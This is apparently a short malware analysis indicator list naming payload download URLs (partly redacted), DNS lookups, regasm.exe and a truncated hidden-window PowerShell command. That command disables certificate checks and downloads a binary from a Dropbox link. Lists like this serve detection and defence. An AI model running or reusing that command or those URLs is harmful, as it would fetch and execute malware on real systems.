Technical Information
- https://dl.dropbox.com/s/5tk9u01wk422ew0/byh5ltpv
- %WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe
- http://jo#i.ru/v2981eeUz4wdgm.bin
- http://jo##.net/v2981eeUz4wdgm.bin
- http://dl#.#oxi.net/drive/2020/02/21/0039/1928/2619272/72/604f745973.bin
- DNS ASK dl.##opbox.com
- DNS ASK dl.#####oxusercontent.com
- DNS ASK jo#i.ru
- DNS ASK jo##.net
- DNS ASK dl#.#oxi.net
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' [Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$uTGDOoJUkvjznw = (New-Object Net.WebClient).DownloadData('https://dl.dropbox.com/s/5tk9u01wk422ew0/BYH5LtPv');for ($i = 0...' (with hidden window)
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe'